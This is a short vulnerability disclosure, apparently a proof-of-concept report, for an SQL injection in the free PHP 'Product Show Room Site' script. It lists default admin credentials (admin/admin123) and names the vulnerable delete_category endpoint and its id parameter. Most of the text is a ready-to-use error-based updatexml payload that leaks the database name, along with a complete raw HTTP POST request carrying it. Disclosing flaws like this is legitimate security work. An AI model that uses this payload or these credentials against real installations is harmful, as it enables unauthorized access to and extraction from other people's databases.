The password for the backend login account is: admin/admin123
vendors: https://www.sourcecodester.com/php/15370/product-show-room-site-phpoop-free-source-code.html
Vulnerability File: /psrs/classes/Master.php?f=delete_category
Vulnerability location: /psrs/classes/Master.php?f=delete_category, id
Current database name: psrs_db ,length is 7
[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id
POST /psrs/classes/Master.php?f=delete_category HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+